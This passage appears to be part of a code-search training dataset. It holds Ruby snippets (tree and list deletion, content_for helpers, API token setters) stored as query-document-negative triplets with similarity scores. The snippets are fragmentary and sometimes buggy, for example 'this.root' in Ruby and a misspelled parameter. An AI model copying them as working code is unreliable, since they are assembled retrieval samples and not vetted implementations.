"def remove_found_node(node)\n #at most one child of new_node, new_node will be removed directly\n if node.left.nil? or node.right.nil?\n #the root is deleted\n if node.parent.nil?\n @root=nil\n node=nil\n return\n end\n r = node\n else\n # new_node has two children --> will be replaced by successor\n r = successor(node)\n node.value = r.value\n end\n\n if r.left.nil?\n p = r.right;\n else\n p = r.left;\n end\n\n unless p.nil?\n p.parent = r.parent;\n end\n if r.parent.nil?\n this.root = p;\n else\n if r==r.parent.left\n r.parent.left=p;\n else\n r.parent.right = p\n # balancing must be done until the root is reached.\n end\n end\n recursive_balance(r.parent)\n r = nil\n end",
"def find(value)\n current_node = head\n while current_node != nil\n return current_node if current_node.value == value\n current_node = current_node.next\n end\n nil\n end",
"def delete(root, data)\n # finds the data to be deleted and stores as element\n element = find(root, data)\n if element\n # if data was found\n # store what will be the new last index\n last_index = @tree.length - 1\n # store last_index's parent's index\n parent = last_index / 2\n # delete end of tree and store in last_element\n last_element = @tree.pop\n\n # determine if it was a left or right child\n popped_node_was_a_left_child = @tree[parent] && last_index % 2 == 0\n popped_node_was_a_right_child = @tree[parent] && last_index % 2 != 0\n\n # set appropriate child as nil\n if popped_node_was_a_left_child\n @tree[parent].left = nil\n elsif popped_node_was_a_right_child\n @tree[parent].right = nil\n end\n\n # re-set the 'deleted' element's title and rating,\n # effectively removing it and replacing it with what was the last node\n element.title = last_element.title\n element.rating = last_element.rating\n else\n # data was not found, return nil\n return nil\n end\n\n # filter the newly placed node up or down to where it should be in the heap\n filter_down(element)\n filter_up(element)\n end",
"def delete(key)\n return nil if @root.nil?\n deleted = nil\n splay(key)\n if (key <=> @root.key) == 0 # The key exists\n deleted = @root.value\n if @root.left.nil?\n @root = @root.right\n else\n x = @root.right\n @root = @root.left\n splay(key)\n @root.right = x\n end\n end\n deleted\n end",
"def remove_token(value)\n @children['token'][:value].delete(value)\n end",
"def find(value)\n node = @head \n for i in 0..@size-1 \n return i if node.value == value\n node = node.link \n end\n return nil\n end",
"def delete(element)\n i = element.hash % @table.size\n return unless @table[i]\n if @table[i].item == element\n result = @table[i].item\n @table[i] = @table[i].next\n @count -= 1\n return result\n end\n node = @table[i]\n while node.next\n if element == node.next.item\n result = node.next.item\n node.next = node.next.next\n @count -= 1\n return result\n end\n node = node.next\n end\n return nil\n end",
"def remove(value)\n #YOUR WORK HERE\n end",
"def remove(value)\n connection.zrem(key_label, value)\n end",
"def remove(val)\n\nend",
"def delete_node(address)\n @cache.delete(address)\n @nodes.delete_blob(address)\n end",
"def delete(value)\n raise NotImplementedError, \"Please implement delete\"\n end",
"def remove_head(value, node)\n if node.left\n link = max_search(node.left)\n link.right = @head.right\n @head = @head.left\n elsif node.right\n link = min_search(node.right)\n link.left = @head.left\n @head = @head.right\n else\n @head = nil\n end\n end",
"def find_remove(preposistion)\n\t\tremove(find(preposition))\n\tend",
"def remove(k)\n #First we must find the node, after this we can delete it.\n remove_avl(@root, k);\n end",
"def test_delete_node_tree_r_2_nodes\n # Prep\n tree = BST::Tree.new\n val = [8, 10]\n val.each {|v| tree.insert(v)}\n tree.delete(val.last)\n # Test\n _delete_node_tree_hlpr(val, tree)\n end",
"def delete(key)\n key = find(key) unless key.is_a? Node\n case child_count(key)\n when 2\n sub = key.right.data == nil ? max(key.left) : min(key.right)\n when 1\n sub = key.right.nil? ? key.left : key.right\n when 0\n sub = nil\n end\n modify(key, sub)\n end"
] |
[
"0.91359234",
"0.88986707",
"0.8377089",
"0.74857455",
"0.74094534",
"0.7394371",
"0.73394036",
"0.7283283",
"0.7240872",
"0.7142393",
"0.7105025",
"0.70814717",
"0.70785296",
"0.7066136",
"0.7043158",
"0.7040808",
"0.6990629",
"0.69229645",
"0.692151",
"0.6920725",
"0.6881949",
"0.6875399",
"0.6874275",
"0.6869712",
"0.68345064",
"0.6834409",
"0.6834409",
"0.6818709",
"0.67752206",
"0.6775019",
"0.6760968",
"0.6736283",
"0.6707433",
"0.6704228",
"0.6699121",
"0.6664736",
"0.6663917",
"0.6662956",
"0.665272",
"0.66472095",
"0.6622892",
"0.6614617",
"0.6588818",
"0.6562789",
"0.6556999",
"0.65125763",
"0.64816105",
"0.64816105",
"0.64782184",
"0.64738244",
"0.64516723",
"0.64332575",
"0.64332575",
"0.6423247",
"0.6421796",
"0.641769",
"0.6378514",
"0.6372261",
"0.63679355",
"0.6364925",
"0.6347864",
"0.6339582",
"0.63341504",
"0.63235843",
"0.63006634",
"0.62929916",
"0.62760997",
"0.62680024",
"0.62589735",
"0.6257006",
"0.62295496",
"0.62065053",
"0.6199788",
"0.61947465",
"0.619458",
"0.61940354",
"0.61885655",
"0.6181524",
"0.61655676",
"0.6159881",
"0.61467344",
"0.6100548",
"0.60939634",
"0.6070759",
"0.60674834",
"0.60589796",
"0.6050905",
"0.6038948",
"0.6036901",
"0.6031901",
"0.6026759",
"0.6020297",
"0.6010519",
"0.600189",
"0.5999363",
"0.59935516",
"0.597397",
"0.59645045",
"0.59627",
"0.59612167"
] |
0.6344213
|
61
|
helper method for delete:
|
def maximum(tree_node = @root)
if tree_node.right == nil
return tree_node
else
maximum(tree_node.right)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def delete\n \n end",
"def delete\n \n end",
"def delete\n end",
"def delete\n\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n end",
"def delete\n\n\tend",
"def delete\n end",
"def delete\n end",
"def delete(*rest) end",
"def delete(name)\n\n end",
"def deleted(item)\n end",
"def delete\n # TODO: implement delete\n end",
"def destroy; delete end",
"def delete\n raise NotImplementedError\n end",
"def delete\n raise NotImplementedError\n end",
"def delete(name); end",
"def delete(name); end",
"def delete(obj) ; end",
"def delete\n\t\tfalse\n\tend",
"def delete(object); end",
"def delete\n raise NotImplementedError\n end",
"def delete_operations; end",
"def delete\n raise NotImplementedError\n end",
"def delete; raise ActiveRecord::ReadOnlyRecord; end",
"def delete(action, **args); end",
"def delete(value)\n end",
"def delete(value)\n end",
"def delete!(*rest) end",
"def deleteRequest\n\n end",
"def delete_item\n\nend",
"def del\n delete\n end",
"def destroy\r\n\r\n end",
"def delete_post\n\t \n \tend",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def delete\n return false\n end",
"def destroy \r\n\r\n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def destroy \n \n end",
"def destroy\r\n end",
"def destroy\r\n end",
"def delete(oid)\n end",
"def delete\n destroy\n end",
"def delete\n destroy\n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def delete!\n request! :delete\n end",
"def delete(contactname)\n\n end",
"def _destroy_delete\n delete\n end",
"def _destroy_delete\n delete\n end",
"def delete(table, ids) # abstract\n end",
"def destroy\n \n end",
"def delete\n ret_val = error_if_exists('delete')\n super if ret_val\n return ret_val\n end",
"def destroy\n\n end",
"def delete(key)\n\n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def destroy\r\n end",
"def destroy\n\t\t\n\tend",
"def delete\n return @delete\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end"
] |
[
"0.8373501",
"0.80260485",
"0.8013269",
"0.80042505",
"0.7956913",
"0.7956913",
"0.7956913",
"0.7956913",
"0.7956913",
"0.7956913",
"0.7956913",
"0.79107374",
"0.7799738",
"0.77781236",
"0.7493549",
"0.7422571",
"0.74152577",
"0.7396308",
"0.73679674",
"0.7326224",
"0.7326224",
"0.7311375",
"0.7311375",
"0.7252753",
"0.725267",
"0.7244257",
"0.7208222",
"0.72013843",
"0.71965003",
"0.71889603",
"0.7187095",
"0.7183631",
"0.7183631",
"0.7167577",
"0.7125145",
"0.711353",
"0.7107788",
"0.7078295",
"0.7065486",
"0.705726",
"0.705726",
"0.705726",
"0.705726",
"0.705726",
"0.705726",
"0.705726",
"0.705726",
"0.705726",
"0.705726",
"0.70541155",
"0.7052777",
"0.7017235",
"0.7017235",
"0.70120704",
"0.69652414",
"0.69652414",
"0.69552475",
"0.69548935",
"0.69548935",
"0.6948128",
"0.6948128",
"0.6948128",
"0.6948128",
"0.6948128",
"0.6948128",
"0.6948128",
"0.6945965",
"0.6911031",
"0.69078535",
"0.69078535",
"0.689664",
"0.68946195",
"0.68924433",
"0.68908125",
"0.68870634",
"0.6877803",
"0.6877803",
"0.6877803",
"0.6877803",
"0.6877803",
"0.6877803",
"0.68777853",
"0.68683136",
"0.6865189",
"0.6863397",
"0.6863132",
"0.6863132",
"0.6863132",
"0.6863132",
"0.6863132",
"0.6863132",
"0.6863132",
"0.6863132",
"0.6863132",
"0.6863132",
"0.6863132",
"0.6863132",
"0.6863132",
"0.6863132",
"0.6863132",
"0.6863132"
] |
0.0
|
-1
|
optional helper methods go here:
|
def check_height(node)
return 0 if node.nil?
leftHeight = check_height(node.left)
return -1 if leftHeight == -1
rightHeight = check_height(node.right)
return -1 if rightHeight == -1
diff = leftHeight - rightHeight
if diff.abs > 1
-1
else
[leftHeight, rightHeight].max + 1
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def optional; end",
"def private; end",
"def extra; end",
"def maybe; end",
"def missing?; end",
"def optional_positionals; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def required_defaults; end",
"def missing; end",
"def fallbacks=(_arg0); end",
"def fallbacks; end",
"def fallbacks; end",
"def custom; end",
"def custom; end",
"def probers; end",
"def explicit?; end",
"def missed?; end",
"def ignores; end",
"def helpers; end",
"def helpers; end",
"def helpers; end",
"def conditionally(*) end",
"def conditionally(*) end",
"def possibly_include_hidden?; end",
"def maybe so, maybe: self\n so\n end",
"def required_positionals; end",
"def informational?; end",
"def required; end",
"def required; end",
"def required; end",
"def extra_args; end",
"def missing_option; end",
"def missing_option; end",
"def missing_option; end",
"def missing_option; end",
"def missing_option; end",
"def missing_option; end",
"def missing_option; end",
"def missing_option; end",
"def missing_option; end",
"def who_we_are\r\n end",
"def generic?; true; end",
"def none?; end",
"def none?; end",
"def none?; end",
"def missing?; false; end",
"def maybe so, maybe: self\n maybe\n end",
"def has_required?; end",
"def placebo?; false end",
"def ensure_others\n self.description ||= self.title\n self.url ||= \"http://www.google.com\"\n self.image_url ||= \"https://s33.postimg.cc/pjju7pp9b/shire.jpg\"\n end",
"def multiple?; end",
"def isolated?; end",
"def isolated?; end",
"def fallback_data; end",
"def fallback_data; end",
"def argument?; end",
"def suivre; end",
"def extra=(_arg0); end",
"def requirements; end",
"def requirements; end",
"def requirements; end",
"def requirements; end",
"def schubert; end",
"def required_by_default?; end",
"def caveats; nil end",
"def caveats; nil end",
"def present?; end",
"def internal?; end",
"def common\n \n end",
"def simple_present; end",
"def alternatives; end",
"def extra; @extra; end",
"def safe_by_default; end",
"def formation; end",
"def defaults; end",
"def defaults; end",
"def defaults; end",
"def defaults; end",
"def defaults; end",
"def defaults; end",
"def defaults; end",
"def defaults; end",
"def defaults; end",
"def defaults; end",
"def specialty; end",
"def returns_nil; end",
"def usable?; end",
"def dynamic?; end",
"def user_options; end",
"def null?; false end",
"def missing_option=(_arg0); end",
"def missing_option=(_arg0); end",
"def missing_option=(_arg0); end",
"def missing_option=(_arg0); end",
"def missing_option=(_arg0); end",
"def missing_option=(_arg0); end",
"def requirements=(_arg0); end",
"def requirements=(_arg0); end"
] |
[
"0.69155395",
"0.63777965",
"0.63065875",
"0.630489",
"0.6272949",
"0.6183755",
"0.6118551",
"0.6118551",
"0.6118551",
"0.6118551",
"0.60868585",
"0.607827",
"0.60669255",
"0.5997471",
"0.5997471",
"0.59624225",
"0.59624225",
"0.592993",
"0.5926435",
"0.5921328",
"0.59058464",
"0.5887666",
"0.5887666",
"0.5887666",
"0.5871852",
"0.5871852",
"0.5830804",
"0.5820551",
"0.5807145",
"0.5797265",
"0.5789309",
"0.5789309",
"0.5789309",
"0.5778422",
"0.5773696",
"0.5773696",
"0.5773696",
"0.5773696",
"0.5773696",
"0.5773696",
"0.5773696",
"0.5773696",
"0.5773696",
"0.57713085",
"0.57485616",
"0.5744786",
"0.5744786",
"0.5744786",
"0.57427675",
"0.57287717",
"0.5726812",
"0.570501",
"0.5696874",
"0.56863916",
"0.5678347",
"0.5678347",
"0.56735337",
"0.56735337",
"0.56563354",
"0.5642543",
"0.56344724",
"0.5630368",
"0.5630368",
"0.5630368",
"0.5630368",
"0.562095",
"0.56198764",
"0.5619793",
"0.5619793",
"0.5615981",
"0.5603956",
"0.5588573",
"0.5577055",
"0.55647475",
"0.5546583",
"0.5546369",
"0.5543732",
"0.55338955",
"0.55338955",
"0.55338955",
"0.55338955",
"0.55338955",
"0.55338955",
"0.55338955",
"0.55338955",
"0.55338955",
"0.55338955",
"0.5533521",
"0.5532106",
"0.5518264",
"0.55142385",
"0.55139345",
"0.5503312",
"0.5498695",
"0.5498695",
"0.5498695",
"0.5498695",
"0.5498695",
"0.5498695",
"0.54944617",
"0.54944617"
] |
0.0
|
-1
|
FORCE to implement content_for in controller
|
def view_context
super.tap do |view|
(@_content_for || {}).each do |name,content|
view.content_for name, content
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def view_context\n super.tap do |view|\n (@_content_for || {}).each do |name,content|\n view.content_for name, content\n end\n end\n end",
"def view_context\n super.tap do |view|\n (@_content_for || {}).each do |name, content|\n view.content_for name, content\n end\n end\n end",
"def content\n end",
"def content\n end",
"def content\n end",
"def content_controller\n self\n end",
"def render\n content\n end",
"def render\n content\n end",
"def render\n content\n end",
"def render\n content\n end",
"def view_context\n super.tap do |view|\n (@_content_for_layout || {}).each do |name, content|\n view.content_for name, content\n end\n end\n end",
"def content; end",
"def content; end",
"def content; end",
"def content; end",
"def content; end",
"def content; end",
"def content; end",
"def content; end",
"def content; end",
"def content; end",
"def content; end",
"def content; end",
"def content; end",
"def content; end",
"def show\n respond_with @content\n end",
"def content\n\t\t@content\n\tend",
"def show\n @content = Content.find(params[:id])\n\n respond_with @content\n\n # @contents = Content.all\n\n # respond_with @content\n end",
"def titulo(texto) \n content_for(:titulo) { texto } \n end",
"def get_content()\n return super()\n end",
"def render *args\n @content\n end",
"def content\n raise 'You must implement #content'\n end",
"def content_controller\n main_controller.content_controller\n end",
"def content_for(*args,&block)\n if block\n helpers.content_for(*args,&block)\n else\n rawtext(helpers.content_for(*args))\n ''\n end\n end",
"def content \n @content\n end",
"def outer_content_for(name, content = nil, &block)\n outer_view.instance_eval do\n content_for(name, content, &block)\n end\n\n # This was the old implementation, which didn't work for me. Also, it was needlessly complex, since we can just do an instance_eval on the outer_view and then invoke and reuse Rails' normal content_for helper.\n # The old implementation also didn't let you retrieve content with <%= content_for(:name) %> (content = nil) like the Rails one allows.\n # This was returning a different object each time outer_content_for was called -- and it certainly wasn't the same object_id as self.object_id gave from the outermost layout view, so it must be creating a new object each time or something rather than just fetching the existing one (from an instance variable, f.e.):\n #outer_view = controller.parent_controller.view_context\n #::Rails.logger.debug \"... outer_view.send(:'instance_variables')=#{ outer_view.send(:'instance_variables').inspect}\"\n #::Rails.logger.debug \"... outer_view.object_id=#{outer_view.object_id.inspect}\"\n #content = capture(&block) if block_given?\n #content_for = outer_view.send(:'instance_variable_get', :\"@_content_for\")\n #::Rails.logger.debug \"... content_for=#{content_for.inspect}\"\n #content_for[name] << content\n #outer_view.send(:'instance_variable_set', :\"@_content_for\", content_for)\n #nil\n end",
"def content\n raise \"Must be implemented.\" \n end",
"def content\n @content \n end",
"def content\n @content\n end",
"def content\n @content\n end",
"def entity content\n end",
"def content_methods; end",
"def show\n @content = Content.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @content }\n end\n end",
"def resolve_content\n @content_model == :simple ? %(<p>#{content}</p>) : content\n end",
"def view_post\n content \n end",
"def show\n @content = Content.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @content }\n end\n end",
"def show\n @content = Content.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @content }\n end\n end",
"def show\n @content = Content.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @content }\n end\n end",
"def show\n @content = Content.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @content }\n end\n end",
"def single_content_for(name, content = nil, &block)\n @view_flow.set(name, ActiveSupport::SafeBuffer.new)\n content_for(name, content, &block)\n end",
"def entity content\r\n # Don't care\r\n end",
"def show\n @content = Content.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @content }\n end\n end",
"def show\n @content = Content.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @content }\n end\n end",
"def show\n @content = Content.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @content }\n end\n end",
"def show\n @content = Content.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @content }\n end\n end",
"def show\n @content = Content.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @content }\n end\n end",
"def show\n @content = Content.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @content }\n end\n end",
"def show\n @content = Content.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @content }\n end\n end",
"def main_content\n do_include(@template)\n end",
"def show\n content_for :title, @article.title\n end",
"def content_for(name, content = nil, &block)\n # this doesn't exist, and causes errors\n @_content_for = {} unless defined? @_content_for\n # we've got to initialize this, so we can concat to it\n @_content_for[name] = '' if @_content_for[name].nil?\n # now the rest is the same as in rails\n content = capture(&block) if block_given?\n @_content_for[name] << content if content\n @_content_for[name] unless content\n end",
"def content\n View.render\n ensure\n self.class.reset\n end",
"def content\n @content = content_class.published.find(params[:id])\n end",
"def for_show_action(content, user)\n decorated_content = for_index_action(content, user)\n decorated_content[:genres_data] = @genres_decorator.genres_data(content)\n decorated_content[:personalities_data] = @personality_decorator.personalities_data(content)\n decorated_content[:reviews_collection] = decorated_reviews(content, user)\n decorated_content[:new_review] = build_new_review(content, user)\n decorated_content.merge! subclass_show_data(content, user)\n decorated_content\n end",
"def content_for?(name); end",
"def single_content_for(name, content = nil, &block)\n @view_flow.set(name, ActiveSupport::SafeBuffer.new)\n content_for(name, content, &block)\n end",
"def single_content_for(name, content = nil, &block)\n @view_flow.set(name, ActiveSupport::SafeBuffer.new)\n content_for(name, content, &block)\n end",
"def new\n @content = Content.new\n respond_with @content\n end",
"def content\n respond_to do |format|\n format.js \n end \n end",
"def render; end",
"def render; end",
"def render; end",
"def render; end",
"def render; end",
"def render_menu\n render \"#{controller_name}/menu\" if File.exist? File.expand_path(Rails.root.join \"app\", \"views\",controller_name,\"_menu.html.erb\") unless params[:content_only].present?\n end",
"def show\n @content_item = ContentItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @content_item }\n end\n end",
"def view_layouts_base_content(context = {})\n return '' if Setting.plugin_redmine_tagging[:wiki_pages_inline] == \"1\"\n\n return '' unless context[:controller].is_a? WikiController\n\n request = context[:request]\n return '' unless request.parameters\n\n project = Project.find_by_identifier(request.parameters['id'])\n return '' unless project\n\n page = project.wiki.find_page(request.parameters['page'])\n return '' unless page\n\n tag_context = project.identifier.gsub('-', '_')\n tags = ''\n\n if request.parameters['action'] == 'index'\n tags = page.tag_list_on(tag_context).sort.collect {|tag|\n link_to(\"#{tag}\", {:controller => \"search\", :action => \"index\", :id => project, :q => tag, :wiki_pages => true, :issues => true})\n }.join(' ')\n\n tags = \"<h3>#{l(:field_tags)}:</h3><p>#{tags}</p>\" if tags\n end\n\n if request.parameters['action'] == 'edit'\n tags = page.tag_list_on(tag_context).sort.collect{|tag| tag.gsub(/^#/, '')}.join(' ')\n tags = \"<p id='tagging_wiki_edit_block'><label>#{l(:field_tags)}</label><br /><input id='wikipage_tags' name='wikipage_tags' size='120' type='text' value='#{h(tags)}'/></p>\"\n\n ac = ActsAsTaggableOn::Tag.find(:all,\n :conditions => [\"id in (select tag_id from taggings\n where taggable_type in ('WikiPage', 'Issue') and context = ?)\", tag_context]).collect {|tag| tag.name}\n ac = ac.collect{|tag| \"'#{escape_javascript(tag.gsub(/^#/, ''))}'\"}.join(', ')\n\n tags += javascript_include_tag 'jquery-1.4.2.min.js', :plugin => 'redmine_tagging'\n tags += javascript_include_tag 'tag.js', :plugin => 'redmine_tagging'\n\n tags += <<-generatedscript\n <script type=\"text/javascript\">\n var $j = jQuery.noConflict();\n $j(document).ready(function() {\n $j('#tagging_wiki_edit_block').insertAfter($j(\"#content_text\").parent().parent());\n $j('#wikipage_tags').tagSuggest({ tags: [#{ac}] });\n });\n </script>\n generatedscript\n end\n\n return tags\n end",
"def set_content_for key\n @view_flow.content.delete key\n content_for key do\n yield\n end\n end",
"def index\n # @contents = Content.all\n end",
"def default_content; end",
"def show\n @content_template = ContentTemplate.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @content_template }\n end\n end",
"def change_form_content \n\tend",
"def view_layouts_base_content(context={})\n return '' if wiki_pages_inline_tags?\n\n return '' unless context[:controller].is_a?(WikiController)\n\n request = context[:request]\n\n return '' unless request.parameters\n\n project = Project.find_by_identifier(request.parameters['project_id'])\n return '' unless project\n\n page = project.wiki.find_page(request.parameters['id'])\n\n tag_context = ContextHelper.context_for(project)\n tags = ''\n\n if page && request.parameters['action'] == 'index'\n tags = page.tag_list_on(tag_context).sort_by { |t| t.downcase }.map do |tag|\n link_to(tag, {\n controller: 'search',\n action: 'index',\n project_id: project,\n q: tag_without_sharp(tag),\n wiki_pages: true,\n issues: true })\n end.join(' ')\n\n tags = \"<h3>#{ l(:field_tags) }:</h3><p>#{ tags }</p>\" if tags\n end\n\n action = request.parameters['action']\n\n if action == 'edit' || (!page && action == 'show')\n if page\n tags = TagsHelper.to_string(page.tag_list_on(tag_context))\n else\n tags = \"\"\n end\n\n tags = \"<p id='tagging_wiki_edit_block'><label>#{l(:field_tags)}</label><input id='wiki_page_tags' name='wiki_page[tags]' size='120' type='text' value='#{h(tags)}'/></p>\"\n\n ac = ActsAsTaggableOn::Tag.where(\n \"id in (select tag_id from taggings where taggable_type in ('WikiPage', 'Issue') and context = ?)\",\n tag_context\n ).collect { |tag| tag.name }\n\n ac = ac.collect { |tag| \"'#{escape_javascript(tag.gsub(/^#/, ''))}'\" }.join(', ')\n\n tags += javascript_include_tag 'tag', plugin: 'redmine_tagging'\n\n tags += <<-generatedscript\n <script type=\"text/javascript\">\n $(document).ready(function() {\n //$('#tagging_wiki_edit_block').insertAfter($(\"#content_text\"))\n $('#tagging_wiki_edit_block').insertBefore($(\"#wiki_page_parent_id\").parent())\n $('#wiki_page_tags').tagSuggest({ tags: [#{ac}] })\n })\n </script>\n generatedscript\n end\n\n return tags\n end",
"def index\n @specific_contents = SpecificContent.all\n end",
"def show\n redirect_to edit_content_entry_path(@content_entry) \n end",
"def render\n end",
"def set_content\n\t @content = Content.find(params[:id])\n\tend",
"def index\n @contents = Content.all\n\n respond_with @contents\n end",
"def render\n end",
"def render\n end",
"def render\n end",
"def call_content_method\n wrapper { super }\n end",
"def body_content\n end",
"def html_content\n # Individual presenters may override to present content\n @object.content&.html_safe if @object.respond_to? :content\n end",
"def edit\n @page_title = @content.locale_title(I18n.locale)\n @content.setup_uri_path # be sure to recover uri_path or scope will get messed up when the content is saved.\n respond_to do |format|\n format.html { render :template => @edit_template || 'contents/edit'}\n format.pjs { render :template => @edit_template || 'contents/edit', :layout => 'popup'}\n end\n end",
"def set_content_model\n @content_model_class_name = self.class.name.gsub(/Controller/,'').singularize.constantize\n end",
"def content\n @content ||= content!\n end",
"def method_missing(method, *args, &block) \n return super unless part(method)\n part(method).render\n end",
"def create\n respond_to do |format|\n if @content.save\n format.html { redirect_to @content, notice: 'Content was successfully created.' }\n else\n format.html { render action: 'new' }\n end\n end\n end",
"def render\n end"
] |
[
"0.75152975",
"0.7484351",
"0.73812956",
"0.73812956",
"0.73812956",
"0.72570103",
"0.7173389",
"0.7173389",
"0.7173389",
"0.7066237",
"0.690314",
"0.68770504",
"0.68770504",
"0.68770504",
"0.68770504",
"0.68770504",
"0.68770504",
"0.68770504",
"0.68770504",
"0.68770504",
"0.68770504",
"0.68770504",
"0.68770504",
"0.68770504",
"0.68770504",
"0.6817422",
"0.6730627",
"0.6724263",
"0.6663034",
"0.6609811",
"0.6556836",
"0.65327466",
"0.6530847",
"0.6485292",
"0.64852005",
"0.64655936",
"0.6465083",
"0.6410367",
"0.63628006",
"0.63628006",
"0.6346641",
"0.6335466",
"0.630617",
"0.6305023",
"0.62998116",
"0.6270769",
"0.6270769",
"0.6270769",
"0.6270769",
"0.6241118",
"0.62408054",
"0.6227226",
"0.6227226",
"0.6227226",
"0.6227226",
"0.6227226",
"0.6227226",
"0.6227226",
"0.62132406",
"0.62113875",
"0.6204172",
"0.61980176",
"0.6184622",
"0.61666703",
"0.61666423",
"0.61620307",
"0.6161418",
"0.61342984",
"0.61329067",
"0.6129506",
"0.6129506",
"0.6129506",
"0.6129506",
"0.6129506",
"0.6122603",
"0.61163986",
"0.610169",
"0.60923743",
"0.6036458",
"0.6030463",
"0.60284555",
"0.602515",
"0.6022435",
"0.6021626",
"0.6016606",
"0.6011752",
"0.6004149",
"0.6002514",
"0.599786",
"0.599786",
"0.599786",
"0.59957254",
"0.5994075",
"0.59912217",
"0.5976518",
"0.59761924",
"0.5959909",
"0.595554",
"0.59520555",
"0.5941292"
] |
0.75203246
|
0
|
Set the Typekit API token to be used for subsequent calls.
|
def set_token(token)
headers 'X-Typekit-Token' => token
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_token\n @token = ENV[\"TYPEFORM_API_TOKEN\"]\n end",
"def token=(value)\n resources.each do |klass|\n klass.headers['Authorization'] = 'OAuth ' + value.to_s\n end\n @token = value\n end",
"def set_token(token)\n @token = token\n connection.headers[\"Authorization\"] = \"Token #{token}\"\n end",
"def initialize\n @token_type = 'bearer'\n end",
"def set_token\n @token = @instance.tokens.find(params[:id] || params[:token_id])\n end",
"def set_token\n @token = @instance.tokens.find(params[:id] || params[:token_id])\n end",
"def set_token\n @token ||= request.env[\"omniauth.auth\"].credentials.token\n end",
"def set_token\n @token = @instance.tokens.find(params[:id] || params[:token_id])\n end",
"def create_set_and_add_token\n token = SecureRandom.urlsafe_base64\n @user.token = token\n response.headers['X-AUTH-TOKEN'] = token\n end",
"def set_AuthenticationToken(value)\n set_input(\"AuthenticationToken\", value)\n end",
"def set_AuthenticationToken(value)\n set_input(\"AuthenticationToken\", value)\n end",
"def set_token! model\n token = set_token model\n model.save!\n token\n end",
"def set_token\n @token = Token.find(params[:id])\n end",
"def set_Token(value)\n set_input(\"Token\", value)\n end",
"def set_Token(value)\n set_input(\"Token\", value)\n end",
"def set_Token(value)\n set_input(\"Token\", value)\n end",
"def set_Token(value)\n set_input(\"Token\", value)\n end",
"def set_Token(value)\n set_input(\"Token\", value)\n end",
"def set_Token(value)\n set_input(\"Token\", value)\n end",
"def set_Token(value)\n set_input(\"Token\", value)\n end",
"def set_Token(value)\n set_input(\"Token\", value)\n end",
"def set_Token(value)\n set_input(\"Token\", value)\n end",
"def set_internal_token!\n self.token ||= generate_token\n end",
"def token=(value)\n @token = value\n resources.each do |klass|\n update_token_header(klass)\n end\n end",
"def set_token\n self.token ||= Cart.generate_token\n end",
"def set_token(client_token_data)\n @client_token = CompanyApi::Response::Entity::Token.new(client_token_data)\n end",
"def set_user_token(token)\n @user_token = token\n end",
"def set_token\n self.token ||= encrypted_data\n end",
"def set_access_token token\n current_user.access_token = token\n config[current_user.environment].access_token = token\n write_config\n end",
"def set_bearer_token(token)\n FHIR.logger.info 'Configuring the client to use Bearer Token authentication.'\n value = \"Bearer #{token}\"\n @security_headers = { 'Authorization' => value }\n @use_oauth2_auth = false\n @use_basic_auth = true\n @client = RestClient\n @client.proxy = proxy unless proxy.nil?\n @client\n end",
"def set_token\n self.token = SecureRandom.hex(16)\n end",
"def set_token\n self.token = SecureRandom.hex(16)\n end",
"def request_token=(token)\n @request_token = token\n end",
"def set_auth_token\n return if auth_token.present?\n self.auth_token = generate_auth_token\n end",
"def set_auth_token\n @auth_token = AuthToken.find(params[:id])\n end",
"def set_auth_token\n @auth_token = AuthToken.find(params[:id])\n end",
"def access_token=(value)\n reset_agent\n @access_token = value\n end",
"def access_token=(value)\n reset_agent\n @access_token = value\n end",
"def reset_token!\n api_key.delete if api_key.present?\n assign_api_key!\n end",
"def set_clientlogin_token(auth_token)\n @token = auth_token\n end",
"def refresh_token!\n create_token = Kickit::API::CreateToken.new\n resp = create_token.execute(:username => username,\n :developerKey => Kickit::Config.developerKey)\n @token = resp\n end",
"def token=(token)\n self[:token] = HVCrypto::JWT.decode(token, audience)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
